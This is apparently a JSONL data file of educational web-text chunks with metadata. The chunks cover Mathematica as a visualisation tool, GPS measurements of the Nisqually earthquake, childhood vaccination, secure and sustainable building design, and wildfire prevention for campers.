"HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 18, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.887450"} {"text": "when even industry insiders think of virtual reality systems, and of the data visualisation sector in particular, it ' s the larger, multi - user data worlds with relatively exotic hardware that tend to leap straight into mind, as opposed to the single user software suites that process and display data in 2d or 3d form. yet, the latter is still a form of virtual reality, crafting worlds from numbers and formulae alone. their larger brethren owe much to them, as the algorithms that drive hair movement, advanced buffer techniques, compression, dynamic lighting and more, all came from the research environments dedicated to number crunching and displaying. it is no accident that our understanding and use of such intensively mathematical structures, in vr and in unrelated outside fields, has lept forwards like never before, since mathematical model crunchers that work far, far faster than the human brain, became popular. one such number cruncher, is mathematica. mathematica is one of the older research visualisation tools, with versions stretching back for 20 years. its an integrated suite, attempting to be as close to a regular vr environment as is possible for a mathematical research tool, by integrating all aspects of work into the same program. first released in 1988, it has had a profound effect on the way computers are used in technical and other fields. when mathematica 1. 0 was released, the new york times heralded it as \" the importance of the program cannot be overlooked, \" and business week later ranked mathematica among the 10 most important new products of the year. so it is surprising that it is in general overlooked outside of the technical fields it was meant for. in design, it exists to accelerate the processing of mathematical models, pushing far beyond the capabilities of both the human brain, and of paper and pen, in terms of the complexity it is able to handle. yet at the same time, provide accountability through each stage. increasingly with the program, there is no need to export the data anywhere else : a full range of modelling, simulation, visualisation, development, documentation, and deployment is possible without leaving the virtual environment of mathematica. at first, mathematica ' s impact was felt mainly in the physical sciences, engineering, and mathematics. but over the years, mathematica has become important in virtually every research field. mathematica is used today throughout the sciences - - physical, biological, social, and other - - and counts many of the world ' s foremost scientists among its enthusiastic supporters. it has played a", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5527829101177811, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.894867"} {"text": "a 10, 000 % boost in speed for all functions of the software suite, as it trades off of the cpu and gpu systems inside a computer, far more efficiently than any other visualisation software so far. larger vr systems can learn a lot from studying this approach as it manifests in a literal 10 to 100 fold increase in computation speed, on current hardware. this even applies to desktop workstations. \" since its initial release, mathematica has been adopted by over 3 million professionals across the entire global technical computing community, and it has had a profound effect on how computers are used across many fields, \" said joy costa, director of global partnerships at wolfram research. \" the prospect of a hundred fold increase in mathematica 7 performance is staggering. cuda enabled mathematica will revolutionise the world of numerical computation. \" \" with mathematica 7, researchers and scientists can easily tap the enormous parallel processing power of nvidia gpu ' s through a familiar high level interface, \" said andy keane, general manager of the gpu computing business at nvidia. this is truly transformative, giving mathematica users computational horsepower like never before and reducing computation time in some cases from days to a matter of minutes. \" the expectation is that within the next few years, 2008 onwards, we will start to see an explosion in algorithm generation and research throughput, analogous to how the past 20 years have looked compared to those before. without frequently unconsidered vr systems such as mathematica and its kin, that work tirelessly on visualising, simulating and modelling purely mathematical data, all of the larger, heavily interactive worlds we enjoy today, simply would not exist. pause for thought, isn ' t it? references & further reading", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5305308125837042, "token_count": 359, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.899311"} {"text": "the ground in the puget sound region didn \u2019 t just shake during the magnitude 6. 8 nisqually earthquake, it moved \u2014 literally. in fact, measurements using global positioning system ( gps ) data indicate that in most areas the ground shifted more during the feb. 28 quake than it normally does in a year. \u201c not only that, but it moved in completely the opposite direction of what we \u2019 ve observed from year to year, \u201d said anthony qamar, a university of washington research associate professor in earth and space sciences and the state seismologist. qamar works on a project called panga, or pacific northwest geodetic array, that uses global positioning information to measure how much the ground in western washington and oregon move each year relative to a fixed point farther east. panga partners include the uw, central washington university, rensselaer polytechnic institute in troy, n. y., oregon state university, the u. s. geological survey, the u. s. coast guard and the geological survey of canada. panga \u2019 s measurements have shown that typically the central puget sound region moves to the east - northeast at about 3 to 5 millimeters per year. by contrast, at neah bay on the state \u2019 s northwest coast the movement is about 10 millimeters, or a half - inch, per year. that \u2019 s because the coast is much closer to the zone where the juan de fuca plate dives beneath the north american plate, and the pressure moving the land surface is much greater than farther inland. in the nisqually earthquake, gps sensors showed a coast guard station at point robinson on the east edge of maury island moved 8 millimeters to the south - southwest and the uw campus moved 5 millimeters \u2014 about two - tenths of an inch \u2014 south - southwest. the data showed that satsop, which is about midway between the epicenter and the washington coast, moved west about 6 millimeters and pacific beach, on the coast, moved northwest about 4 millimeters. though currently there are no measurements, qamar also expects that data eventually will show that areas west of the earthquake \u2019 s focus deep beneath the nisqually river delta north of olympia rose as much as a half - inch in the quake. he expects that areas to the east will have dropped about one - third of an inch. ( an earthquake \u2019 s epicenter is the area on the surface that lies directly above the hypocenter, or focus. ) the actual movement of the", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.45745015710718795, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.903333"} {"text": "he expects that areas to the east will have dropped about one - third of an inch. ( an earthquake \u2019 s epicenter is the area on the surface that lies directly above the hypocenter, or focus. ) the actual movement of the fault at the focus of the earthquake was probably about 1 meter, more than 3 feet, qamar said. but the fact that the focus was some 34 miles deep in the earth means the displacement at the surface is far less. panga has about 20 permanent global positioning stations running in western washington and oregon. there also are 70 national geodetic survey sites permanently marked with metal plates that are in the process of being measured with portable gps equipment to provide a more complete picture of what happened in the nisqually quake. those sites, a number of them lined up through the heart of the epicenter region, typically are measured every two years or so. the purpose of panga is to allow scientists to see geographic positions changing over time. that happens as pressure is applied from the west by the interaction of the juan de fuca and north american plates, pushing this region east, and from the south by the movement of a large chunk of california against oregon and washington, pushing the region north. eventually, those forces will counteract what happened in the nisqually quake, qamar said. \u201c i would expect that if we go back and measure the satsop station in a year or two, we \u2019 ll see that it \u2019 s right back where it was before the earthquake, \u201d he said. for more information, contact qamar at ( 206 ) 685 - 7563, ( 206 ) 543 - 7010 or http : / / www. geophys. washington. edu", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4673364218115581, "token_count": 358, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.905823"} {"text": "why is it recommended that children get vaccinated? vaccinations are used to protect children against diseases and viruses that could be potentially harmful to them. what types of illnesses can vaccinations protect people against? according to the center for disease control and prevention, some illnesses include measles, mumps, rubella, tetanus, polio and hepatitis a and b. a complete list of available vaccines can be found here : http : / / www. cdc. gov / vaccines / pubs / vis / default. htm how many doses are required? the number of doses varies depending on the vaccination, according to the cdc. some vaccines, like for measles, mumps and rubella, one require one dose. but others, like polio and hepatitis b, require three doses. a complete list of required doses can be found here : http : / / www. cdc. gov / vaccines / schedules / easy - to - read / child. html are there side effects? it is possible to suffer some side effects from vaccines. according to the cdc, some minor side effects may include a fever, rash, or soreness at the injection site. in rare instances, serious side effects may occur. if you think your child is experiencing a severe side effect from the vaccine then you should seek medical attention. the cdc recommends writing down the type of reaction and when it occurred. also be sure to tell your doctor what vaccines your child just received. a list of possible side effects can be found here : http : / / www. cdc. gov / vaccines / vac - gen / side - effects. htm keep record of your child \u2019 s vaccinations. it \u2019 s important to keep track what vaccinations your child has received, when he or she received it, and how many total doses they \u2019 ve received. this will help you determine when they are due for their next vaccination and how many doses they have remaining. this will also ensure your records are complete and accurate in case you switch providers.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4531019171880918, "token_count": 420, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.908781"} {"text": "- achieving sustainable site design through low impact development practices - aesthetic challenges - aesthetic opportunities - air barrier systems in buildings - air decontamination - assessment tools for accessibility - balancing security / safety and sustainability objectives - building integrated photovoltaics ( bipv ) - cool metal roofing - cost impact of the isc security criteria - designing buildings to resist explosive threats - distributed energy resources ( der ) - electric lighting controls - electrical safety - energy analysis tools - energy codes and standards - energy efficient lighting - evaluating and selecting green products - extensive vegetative roofs - fuel cells and renewable hydrogen - glazing hazard mitigation - high - performance hvac - life - cycle cost analysis ( lcca ) - low impact development technologies - mold and moisture dynamics - natural ventilation - passive solar heating - psychosocial value of space - reliability - centered maintenance ( rcm ) - retrofitting existing buildings to resist explosive threats - security and safety in laboratories - seismic design principles - solar water heating - sun control and shading devices - sustainable laboratory design - sustainable o & m practices - threat / vulnerability assessments and risk analysis - trends in lab design - using leed on laboratory projects - water conservation - windows and glazing balancing security / safety and sustainability objectives last updated : 06 - 09 - 2010 within this page since the early 1990s, sustainability has become an increasing priority for facilities projects. however, since the terrorist attacks of september 11, 2001 building owners and occupants are paying more attention to facility security and safety issues. on the surface, it may appear that secure / safe design has little relationship to sustainable design. yet, security and safety measures, such as those for anti - terrorism, must be considered within a total project context, including impacts on occupants and the environment, regardless of the level of protection deemed appropriate. further, today ' s security design is based on a multi - hazard approach, that is, looking at the impact of all hazards on a project : natural, criminal, terrorist, and accidental. this resource page aims to provide designers with an understanding of the interaction between security / safety and sustainability objectives by emphasizing the ' whole building ' or integrated design process, identifying areas of synergy and potential conflicts between sustainable and security / safety approaches, and highlighting sustainability opportunities within certain security / safety strategies. with this information in hand, the project team can define and understand the interrelationships between the project ' s needs and achieve balanced design solutions that will minimize environmental impacts as well as ensure the health, safety, security, and comfort of building", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5254234773258092, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.941706"} {"text": ". with this information in hand, the project team can define and understand the interrelationships between the project ' s needs and achieve balanced design solutions that will minimize environmental impacts as well as ensure the health, safety, security, and comfort of building occupants. figs. 1 and 2 : the new alfred a. arraj united states courthouse in denver, colorade serves as a model for designs that balances openness, security, and sustainability. the building showcases innovative sustainable strategies, such as photovoltaic cells and daylighting using light shelves, while also being one of the first u. s. courthouses to meet the new \" gsa security design criteria \" standards. a. integrated design process it is important to understand that secure / safe, sustainable facilities don ' t just happen. the level of security / safety and sustainability incorporated in a facility varies greatly from project to project. but achieving quality, high performance facilities has a lot to do with an integrated process that identifies and embraces the goals of the project \u2014 including security / safety, sustainability, productivity, accessibility, functionality, aesthetics, historic preservation, and cost - effectiveness \u2014 early on. working as a team from the outset, planners, designers, engineers, and all project stakeholders are able to develop creative solutions to design challenges that yield multiple benefits. for example, a massive, reinforced concrete wall can serve as blast protection for its occupants and a passive solar device saving energy during facility operation, resulting in a more secure, comfortable working environment. also, rather than optimizing individual systems, the project team must understand that the most effective results can be obtained by designing various building systems and components as interdependent parts of the entire structure. this conceptual framework starts at the planning phase and is carried out through design and construction to building activation and operation. see also ' whole building ' approach and aesthetics \u2014 engage the integrated design process. b. secure / safe and sustainable trade - offs and synergies given budgetary and other constraints, integrating secure / safe and sustainable design objectives oftentimes requires compromise and tradeoffs. for example, increasing glazing area to provide daylighting can be incompatible with the desire to decrease glazing to minimize glass hazard. similarly, designating surface parking away from a building to provide appropriate stand - off distance can limit the extent to which a project can meet its site disturbance reduction goals. these inherent conflicts challenge the project team to find creative solutions for the issues at hand. following are key areas of interaction between security / safety and sustainability goals and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5422723797367651, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.943066"} {"text": "- off distance can limit the extent to which a project can meet its site disturbance reduction goals. these inherent conflicts challenge the project team to find creative solutions for the issues at hand. following are key areas of interaction between security / safety and sustainability goals and measures. the project team is advised to evaluate the benefits and disadvantages of pursuing these strategies, weighing them against the project ' s identified requirements and desired outcome in order to achieve a balanced design. engaging integrated design will greatly facilitate this process. with today ' s concern about climate change and emphasis on significantly reducing energy consumption while reducing greenhouse gas emissions, it is more important than ever to incorporate secure / safe and sustainable trade offs and synergies into your building projects. security and sustainable site planning strategies can significantly affect each other. for example, a facility ' s risk can be increased and security can be compromised by siting it in an urban area to protect greenfields and preserve habitat and natural resources ; locating carpool / vanpool parking and bike racks nearby to promote alternative transportation ; constructing under - building parking to minimize habitat disturbance ; and installing covered walkways and landscaping to reduce heat islands and control erosion. on the other hand, security measures such as building setbacks, or standoff distances, to create protective building perimeters and to restrict access ; installing barriers ( e. g., bollards, reinforced planters, and site furnishings ) to withstand assaults by moving vehicles ; and locating parking areas in remote areas and / or eliminating under - building parking areas to minimize blast effects from potential vehicle bombs, usually result in increased development of open space, habitat disturbance, and possibly erosion. - erosion control measures : the erosion of soil caused by precipitation or wind can lead to destruction of vegetation, degradation of property, and sedimentation of local water bodies as well as unstable building foundations and potential loss of structural integrity. erosion control measures can be implemented to stabilize the soil ( e. g., seeding and mulching, installing pervious paving ) and / or to retain sediment after erosion had occurred ( e. g., earth dikes and sediment basins ). these help to reduce the negative impacts on water and air quality as well as mitigate potential damage to a building ' s foundation and structural system due to floods, mudslides, torrential rainstorms, and other natural hazards. for more information on erosion control measures, see wbdg achieving sustainable site design through low impact development practices and low impact development technologies. - landscaping : keeping sustainability and safety goals in mind, designers can", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.525072070994789, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.944232"} {"text": "be much more efficient by providing close water sources to fire risks. since dry hydrants are installed below frost line and do not require electricity, they are capable of supplying water in the case of natural disasters such as hurricanes and tornadoes when electricity lines are knocked down, or during extreme cold or hot weather where conventional hydrant pipes can freeze or break. also, dry fire hydrants help to save precious drinking water and conserve energy by using rainwater that does not need to be processed to be used for fighting fires. for more information, see the dry fire hydrant program. - constructed wetlands : constructed wetlands, used for wastewater treatment, can be incorporated into perimeter protection strategies to control vehicular and pedestrian access. for more information on constructed wetlands, see wbdg achieving sustainable site design through low impact development practices and low impact development technologies. fig. 4 : trombe wall at nrel ' s solar energy research facility \u2014 golden, co because the opportunity to reduce load and employ energy efficiency measures is dependent on the chosen project site and site design, a site planned for security may not be optimal for energy conservation. the installation of onsite power generation and fuel supply for back - up power and / or increased power reliability may increase noise and development of open space as well as habitat disturbance. also, additional equipment and systems needed to mitigate natural hazards, protect against fires, and defend against terrorist attacks will increase the building ' s energy load and may affect its energy performance. the roof of covered parking shelters could be used to mount photovoltaic modules to provide quiet onsite power, while eliminating the need to use additional open space for power generation. - building commissioning : commissioning is the systematic process of ensuring and documenting that all building systems perform according to specification and design intent, consistent with the owner ' s operational needs. the goals of commissioning are to improve the building delivery process ; to provide a safe and healthy facility ; to improve energy performance ; to reduce operating costs ; to provide o & m staff orientation and training ; and to improve systems documentation. according to the u. s. green building council ( usgbc ), commissioning can improve new building energy performance by 8 % to 30 %. the more complex the building type and the more integrated the building systems, the more likely that a formal building commissioning process will prove valuable. use commissioning to verify that the project ' s safety and sustainability goals have been achieved. - integrated building automation and control systems ( bas ) : bas integrates and automates traditionally stand - alone building automation and", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4939029511967008, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.951825"} {"text": "a formal building commissioning process will prove valuable. use commissioning to verify that the project ' s safety and sustainability goals have been achieved. - integrated building automation and control systems ( bas ) : bas integrates and automates traditionally stand - alone building automation and control systems such as hvac, fire, lighting, and security systems into one comprehensive system. this enables electronic monitoring and control of air flow, space temperature, system performance, energy conservation, fire alarms, security functions, etc. from a single, centralized location for optimized building operations, energy efficiency, indoor comfort, safety and security. for example, a bas can be programmed such that a duct sensor can monitor the efficiency of the air flow, but can also detect a contaminant in the ductwork and alarm the facility manager who can then reconfigure the hvac system in that part of the building, notify the proper officials, and evacuate occupants safely. - renewable distributed energy technologies : the use of renewable distributed energy technologies ( e. g., wind turbines, photovoltaics, geothermal heat pump, and biomass gasifiers ) reduces environmental impacts associated with utility energy production and use such as natural resources destruction, air pollution, and water pollution. they also offer consumers the potential for lower cost, higher service reliability, high power quality, increased energy efficiency, and energy security. - thermal mass walls ( trombe walls ) : trombe walls are used to passively heat a space. a typical trombe wall consists of an 8 - to 16 - inch thick masonry, stone, adobe, or concrete wall coated with a dark, heat - absorbing material and faced with a single or double layer of glass. the glass is placed from about 3 / 4 \" to 6 \" away from the wall to create a small airspace. heat from sunlight passing through the glass is absorbed by the dark surface and stored in the wall. as it cools gradually during the night, it slowly releases its stored heat indirectly into the space. trombe walls can serve double duty to reduce energy consumption and provide blast protection if they are integrated into the structural system and are made of reinforced concrete \u2014 masonry walls break up readily and become secondary fragments during blasts. - window films : dangerous glass shards caused by natural hazards, accidents, or explosions can harm building occupants and visitors. certain window films are designed to help hold shattered glass together, and make the glass stronger, and more resistant to breakage for improved safety and security. in addition, these films can reduce solar heat gain", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5488086469625283, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.953499"} {"text": ", or explosions can harm building occupants and visitors. certain window films are designed to help hold shattered glass together, and make the glass stronger, and more resistant to breakage for improved safety and security. in addition, these films can reduce solar heat gain, glare, and fading for energy conservation and occupant comfort. buildings should be safe places to live and work. however, only few buildings need to be level 5 secure ( critical to national security ). to prevent unneeded security upgrades, hence use of more resources and materials, a comprehensive threat assessment, vulnerability assessment, and risk analysis must be conducted to identify the appropriate level of security for the building. there are some security and safety products made of materials with recycled content or other environmentally preferable characteristics. examples include reinforced concrete site furniture made with slag ( a by - product of steel production ) and recycled content metal fencing ( both could be used for perimeter access control ). indoor environmental quality - glazing and daylighting : daylighting improves indoor environment of buildings by exposing occupants to natural light. this can result in improved worker productivity and reduced energy costs. while daylighting can also contribute to the security of a building by shedding light on otherwise dark corners, it does increase the potential for glass hazard caused by natural disasters, accidents, or blast events. size and locate windows with detonation points in mind. understanding that extensive damage to conventional glazing can still result since blast pressures will wrap around buildings. where appropriate, specify blast resistant glazing or window film that can also reject heat and glare. avoid exterior ornamentation, including certain sun control and shading devices, that can break away easily. also, note that the placement of windows and doors to allow for good visibility and surveillance may interfere with daylighting schemes. - natural ventilation vs. mechanical ventilation : natural ventilation has become an increasingly energy - efficient and attractive method for providing acceptable indoor air quality and maintaining a healthy, comfortable, and productive indoor climate rather than the more prevailing approach of using energy - intensive mechanical ventilation. power sources are not needed to operate natural ventilation systems, so building occupants can maintain their level of comfort in the event of power shortages or blackouts. on the other hand, natural ventilation systems could bring outside contaminants inside. for critical and high - risk buildings, mechanical ventilation with special filters is recommended to protect against possible chemical, biological, and radiological ( cbr ) agents from entering interior spaces. although more energy will be used, mechanical ventilation does allow for precise control of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5161443856241772, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.954672"} {"text": "critical and high - risk buildings, mechanical ventilation with special filters is recommended to protect against possible chemical, biological, and radiological ( cbr ) agents from entering interior spaces. although more energy will be used, mechanical ventilation does allow for precise control of humidity, preventing the growth of mold and mildew. under - floor air distribution systems should not be used in laboratories or other spaces containing hazardous materials that could spill onto the floor and contaminate the under - floor air. fig. 5 : protecting outdoor air intakes - dedicated ventilation and / or exhaust systems : exposure of building occupants to potentially hazardous chemical, biological, and radiological ( cbr ) agents negatively impacts the indoor environment and can pose serious health threats. to help maintain superior indoor air quality and protect people ' s health, dedicated ventilation systems ( aka. dedicated outdoor air systems [ doas ] ) and dedicated exhaust systems can be installed. doas use separate air handlers to condition and deliver the minimum required constant volume of outdoor air. be sure to protect all outdoor air intakes and locate discharge points away from them ( see fig. 5 ). for more information, see the department of health and human services ' guidance for protecting building environments from airborne chemical, biological, or radiological attacks, may 2002 and national institute for occupational safety and health ' s guidance for filtration and air - cleaning systems to protect building environments from airborne chemical, biological, or radiological attacks, april, 2003. - tight building envelope : in traditional construction, infiltration occurs through gaps and cracks in the building envelope. excess infiltration of cold air in the winter and hot humid air during the summer can create uncomfortable indoor environments, including mold and mildew and raise heating and cooling costs by 20 % to 40 %. such unintentional infiltration is also a concern for an exterior chemical, biological, and radiological ( cbr ) release at some distance from a building, such as a large - scale attack. decreasing infiltration improves comfort, saves energy, controls moisture, reduces indoor pollution, and promotes ventilation. also, tight building construction in combination with building pressurization can be an effective cbr - protection strategy. c. sustainable design considerations and opportunities the table below identifies sustainable design considerations and opportunities when employing various safe design strategies. | safety and security strategies | | sustainable design considerations / opportunities | | secure site perimeter | | integrate with sustainable landscaping scheme. see wbdg sustainable \u2014 optimize site potential and achieving sustainable site design through low impact development practices | | use barriers to", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5038219011187418, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.957179"} {"text": "safety and security strategies | | sustainable design considerations / opportunities | | secure site perimeter | | integrate with sustainable landscaping scheme. see wbdg sustainable \u2014 optimize site potential and achieving sustainable site design through low impact development practices | | use barriers to prevent passage of vehicles | | use natural and / or environmentally friendly barriers ( e. g., trees, retention ponds, etc. ). use reinforced site furniture, planters, etc. as vehicle barriers. see wbdg achieving sustainable site design through low impact development practices and low impact development technologies | | minimize public entrances into the building | | integrate with daylighting scheme | | secure vulnerable openings ( e. g. doors, first floor windows ) | | integrate with daylighting scheme | | install electronic access systems ( e. g., parking, elevators ) | | use energy - efficient systems. consider renewable and / or distributed energy resources. see wbdg building integrated photovoltaics, distributed energy resources, fuel cell technology, microturbines | | secure critical functions ( e. g., it, mechanical systems ) | | consider dedicated ventilation and / or exhaust systems | | locate windows and doors to allow for good visibility | | integrate with daylighting scheme | | avoid spaces that permit concealment | | integrate with daylighting scheme | | define public versus private interior zones | | use signage and other directional devices manufactured from recycled material. use barriers with low - voc or no voc finishes. | | avoid blocking lines of sight with fencing and landscaping | | integrate with landscaping and daylighting schemes. | | locate public areas ( e. g., restrooms ) where they can be easily observed | | design lighting to reinforce natural surveillance | | integrate with building automation and control systems. use energy - efficient systems. consider renewable and / or distributed energy sources, such as solar power night lighting. see wbdg building integrated photovoltaics, distributed energy resources, fuel cell technology, microturbines | | install intrusion devices and video systems | | integrate with building automation and control systems. use energy - efficient lighting and controls. use low - light or no - light cameras for scene observation that minimize / eliminate the need for electrical lighting. consider renewable and / or distributed energy sources | | use screen and tracking systems | | integrate with building automation and control systems. use energy - efficient lighting. consider renewable and / or distributed energy sources | | design structural systems to prevent or delay building collapse | | integrate with passive solar design ( e. g.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5209623904826532, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.959416"} {"text": "and tracking systems | | integrate with building automation and control systems. use energy - efficient lighting. consider renewable and / or distributed energy sources | | design structural systems to prevent or delay building collapse | | integrate with passive solar design ( e. g., trombe walls ). use sustainable materials ( e. g., fly - ash concrete, slag concrete, steel columns, etc. ) | | use building configurations to better resist blast shock waves | | integrate with passive solar design and daylighting scheme | | maximize distances between parking and buildings | | integrate with alternative transportation plans | | size and locate windows with detonation points in mind | | integrate with daylighting scheme. specify glazing or window films that reduce heat gain and glare and provide blast protection. | | use blast or ballistic resistant glazing | | use blast or ballistic resistant window films that are also energy - efficient ( reduce heat gain and glare ) | | increase strength of exterior cladding and nonstructural elements | | use sustainable materials. consider thermal benefits of strengthened cladding options | | avoid exterior ornamentation that can break away | | integrate with sun control and shading devices | | chemical, biological, radiological protection * | | elevate fresh air intakes | | integrate with energy - efficient hvac system | | prevent unauthorized access to fresh - air intakes | | specify bars and grates to be manufactured with recycled steel | | reduce need for utilities. | | consider renewable such as daylighting, passive solar heating, photovoltaics, and geothermal ; and / or distributed energy resources | | apply external air filtration and overpressurization techniques | | integrate with building automation and control systems | | use internal air filtration technologies | | integrate with building automation and control systems | | secure vulnerable areas ( e. g., mail rooms, loading docks, mechanical rooms, storage ) | | consider dedicated ventilation and / or exhaust systems | | establish mail - handling protocols and procedures | | establish emergency plans for biochemical attacks | | create redundant systems | | reduce need for energy. use energy - efficient systems. consider renewable and / or distributed energy resources | | occupant safety and health * * | | provide designs that eliminate or reduce hazards in the work place to prevent mishaps | | integrate safety mechanisms with sustainable features. use integrated building automation and control systems | | prevent occupational injuries and illnesses | | consider integrated natural and mechanical ventilation systems. use integrated building automation and control", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5027414187532545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.960500"} {"text": "reduce hazards in the work place to prevent mishaps | | integrate safety mechanisms with sustainable features. use integrated building automation and control systems | | prevent occupational injuries and illnesses | | consider integrated natural and mechanical ventilation systems. use integrated building automation and control systems | | prevent falls from heights | | use sustainable materials for guardrails and barriers. operable windows should have safety measures to prevent falls | | prevent slips, trips, and falls | | integrate daylighting into illumination scheme. use led lamps and fixtures. use electroluminescent devices which require no source of electricity | | ensure electrical safety | | follow standards and recommended practices for installing and operating photovoltaic systems and distributed energy resources, such as fuel cells and microturbines | | eliminate exposure to hazardous materials ( e. g., volatile organic compounds ( vocs ) and formaldehyde, lead, and asbestos in older buildings ) | | use sustainable materials ( e. g., no - voc paint, formaldehyde - free finish panels, etc. ). use dedicated ventilation and / or exhaust systems in copy rooms, labs, loading docks, and mailrooms. | | provide good indoor air quality ( iaq ) and adequate ventilation | | use daylighting. consider integrated natural and mechanical ventilation systems. use integrated building automation and control systems | | provide ergonomic work places to prevent work - related musculoskeletal disorders ( wmsd ) | | use sustainable materials, including furnishings with recycled content, compostable materials, and. reconditioned furniture | | perform proper building operations and maintenance | | implement total building commissioning. use integrated building automation and control systems | | provide for proper receiving, storing, and handling of consumable materials | | implement total building commissioning | * source : building security through design : a primer for architects, design professionals, and their clients by the american institute of architects. washington, dc : aia, 2001, p. 15. * * source : wbdg safe \u2014 ensure occupant safety & health california ' s office of emergency services headquarters, sacramento, california : located on a 12 - acre site, the complex is the anchor project for the adaptive reuse of the former mather air force base. it exemplifies the newest generation of open yet secure, safe, and sustainable buildings. strategies and features include : use of landform to control vehicular access ; open, daylit spaces for comfortable, productive work environments ; and back - up fuel", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.49268687847967885, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.962402"} {"text": "open, and accessible to public as well as secure and sustainable. one of the primary strategy was using landscaping, including light fixtures and other streetscape items, to provide the appropriate setback distance and to serve as security barriers, for more information, see \" secure and sustainable \" by gordon wright. building design and construction. august 2004. relevant codes and standards - 10 cfr part 434 - energy code for new federal commercial and multifamily high - rise residential buildings - energy independence and security act ( eisa 2007 ) ( pdf 738 kb, 310 pgs ). - energy policy act of 2005 ( pdf 1. 9 mb, 550 pgs ) - executive order 12656, \" assignment of emergency preparedness responsibilities \" - executive order 12977, \" interagency security committee \" - executive order 13423, \" strengthening federal environmental, energy, and transportation management \" standards and guidelines - air force - air force memorandum : air force sustainable development ( sdd ) policy, 31 july 2007 ( pdf 2. 9 mb, 12 pgs ). signatory : maj gen del eulberg, usaf, the civil engineer, dcs / logistics, installations & mission support - army memorandum : sustainable design and development policy update, 05 january 2006 ( pdf 76 kb, 2 pgs ). signatory : joseph w. whitaker, deputy assistant secretary of the army ( installations and housing ) oasa ( i & e ) - fm 3 - 19. 30 physical security \u2014 sets forth guidance for all personnel responsible for physical security. - navy and marine corps - navfac instruction 9830. 1, 09 june 2003 signatory : m. r. johnson, commander, naval facilities engineering command. - capital improvements engineering & construction bulletin, issue 2008 - 01 on energy policy act 2005 ( epact ) implementation and usgbc leed\u00ae certification ( 12 - 13 - 2007 ) - department of defense - ufc 4 - 010 - 01 dod minimum anti - terrorism standards for buildings - ufc 4 - 024 - 01 security engineering : procedures for designing airborne chemical, biological, and radiological protection for buildings - ufc 4 - 030 - 01 sustainable development - ufc 3 - 210 - 10 low impact development - ufc 1 - 900 - 01 selection of methods for the reduction, reuse, and recycling of demolition waste - department of health and human services - department of homeland security - federal emergency management agency ( fema ) - general services administration - facilities standards for the public buildings service, p100 by the general services administration ( gs", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5244036021552425, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.965998"} {"text": "philippe henry | getty images hunters and campers can follow a few easy precautions to protect lives, property and our precious forests. getting to camp wildfires can start when fine, dry fuel, such as grass, comes in contact with catalytic converters. think twice before driving into and across a grassy field. - never park over tall, dry grass or piles of leaves that can touch the underside of a vehicle. - when driving vehicles off road, regularly inspect the undercarriage to ensure that fuel and brake lines are intact and no oil leaks are apparent. - always carry an approved fire extinguisher on vehicles that are used off road. preparing to make your fire - clear a generous zone around fire rings. when humidity is low and wind is high, debris can become tinder for a stray spark or ember. - store your unused firewood a good distance from the fire. - never use gasoline, kerosene or other flammable liquid to start a fire. - keep campfires small and controllable. - keep fire - extinguishing materials, such as a rake, shovel and bucket of water, close by in case you need to quench your fire in a 